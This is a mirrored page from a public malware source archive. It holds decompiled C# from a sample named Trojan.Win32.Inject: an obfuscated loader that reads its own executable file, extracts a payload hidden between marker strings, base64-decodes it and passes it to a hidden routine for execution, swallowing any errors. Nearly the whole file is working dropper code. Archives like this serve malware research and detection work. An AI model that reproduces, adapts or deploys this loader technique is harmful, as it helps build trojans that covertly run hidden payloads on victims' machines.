mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 05:15:28 +00:00
34 lines
1.1 KiB
C#
34 lines
1.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type:
|
|
// Assembly: Ressource, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 7A61D5AB-B799-4526-BF58-A6DA1297213F
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Inject.ancbn-87991063fbeea430cdbe9586022ccd45abc0d3ca50af32983044f034c3072515.exe
|
|
|
|
using System;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
internal class \uE009
|
|
{
|
|
private static byte[] \uE000;
|
|
|
|
private static void Main()
|
|
{
|
|
try
|
|
{
|
|
\uE00A.\uE000(Convert.FromBase64String(\uE009.\uE000(File.ReadAllText(Application.ExecutablePath), \uE00B.\uE000(31), \uE00B.\uE000(45))), string.Empty, Application.ExecutablePath);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static string \uE000(string _param0, string _param1, string _param2)
|
|
{
|
|
string str = (string) null;
|
|
for (int startIndex = _param0.IndexOf(_param1) + _param1.Length; startIndex != _param1.Length - 1; startIndex = _param0.IndexOf(_param1, startIndex) + _param1.Length)
|
|
str = _param0.Substring(startIndex, _param0.IndexOf(_param2, startIndex) - startIndex);
|
|
return str;
|
|
}
|
|
}
|